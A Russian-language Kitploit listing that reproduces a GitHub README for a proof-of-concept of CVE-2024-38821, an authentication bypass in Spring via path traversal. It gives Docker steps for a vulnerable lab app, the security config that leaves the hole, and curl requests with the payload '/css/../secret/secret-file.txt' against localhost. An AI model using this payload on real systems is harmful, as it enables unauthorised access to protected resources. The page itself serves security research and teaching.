Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-38821-POC — Эксплойт proof-of-concept для CVE-2024-38821, демонстрирующий обход аутентификации в Spring Framework через path traversal для доступа к ограниченным ресурсам. | Kitploit
Инструменты/GitHubGitHub/masa42/cve-2024-38821-poc
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubmasa42/cve-2024-38821-poc

CVE-2024-38821-POC

Эксплойт proof-of-concept для CVE-2024-38821, демонстрирующий обход аутентификации в Spring Framework через path traversal для доступа к ограниченным ресурсам.

Репозиторий
1241 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-38821: Подтверждение концепции (PoC): Обход аутентификации в Spring Framework

Это подтверждение концепции для уязвимости CVE-2024-38821

Шаги выполнения

  1. Соберите Docker-образ (Spring Boot 3.3.4, на основе Spring Framework 6.1.13)

    root@kitploit:~
    cd vuln
    docker build -t cve-2024-38821-poc .
    
  2. Запустите контейнер и откройте порт 8080 для хост-машины

    root@kitploit:~
    docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
    
  3. Выполните следующую команду, чтобы запустить PoC и подтвердить уязвимость

    root@kitploit:~
    curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
    

    Если атака успешна, в ответе отобразится: This is a secret file.

Объяснение

  1. Создайте SecurityConfig.java для настройки прав доступа:

    • Разрешить доступ без аутентификации к путям в /css/.
    • Требовать аутентификации для путей в /secret/.
    root@kitploit:~
    public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
        return http
            .authorizeExchange(exchange -> exchange
                .pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
                .pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
                .anyExchange().authenticated() // Authentication is required for all other paths
            )
            .formLogin().and() // Enable form-based authentication
            .build();
    }
    
  2. Создайте следующий payload. Поскольку payload начинается с /css/, он соответствует разрешенному шаблону пути. Он не начинается с /secret/, поэтому не соответствует шаблону пути, требующему аутентификации:

    • Путь: /css/../secret/secret-file.txt
  3. Используйте следующую команду curl, чтобы запустить PoC и проверить успешность атаки:

    root@kitploit:~
    # Note: The --path-as-is option is required to send the request without URL normalization.
    curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
    

Отказ от ответственности

Этот PoC предоставлен в образовательных целях и для исследования безопасности. Перед использованием в реальной системе убедитесь, что уязвимость устранена и у вас есть соответствующие разрешения. Автор не несет ответственности за любое неправомерное использование этого кода.

Скачать инструмент

Если атака успешна, в ответе отобразится: This is a secret file.